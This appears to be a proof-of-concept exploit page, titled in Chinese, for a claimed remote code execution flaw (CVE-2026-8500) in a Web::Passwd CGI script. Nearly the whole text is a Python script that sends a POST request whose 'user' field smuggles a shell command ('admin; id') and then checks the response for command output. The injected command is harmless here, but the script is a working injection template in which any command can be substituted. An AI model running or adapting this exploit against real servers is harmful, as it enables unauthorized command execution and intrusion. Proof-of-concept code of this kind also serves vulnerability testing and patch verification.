CVE-2026-8500 Web::Passwd 远程代码执行漏洞

import requests # Target URL of the vulnerable Web::Passwd CGI script target_url = "http://target/cgi-bin/web-passwd.cgi" # Malicious payload to execute 'id' command via command injection # The 'user' parameter is vulnerable to injection payload = { "user": "admin; id", # Injection payload "passwd": "password" } try: # Send the POST request with the malicious payload response = requests.post(target_url, data=payload) # Check if the command execution output is present in the response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) # Example: Check for 'uid=' which indicates 'id' command output if "uid=" in response.text: print("[!] Command injection successful!") else: print("[-] Command injection may have failed or output is hidden.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")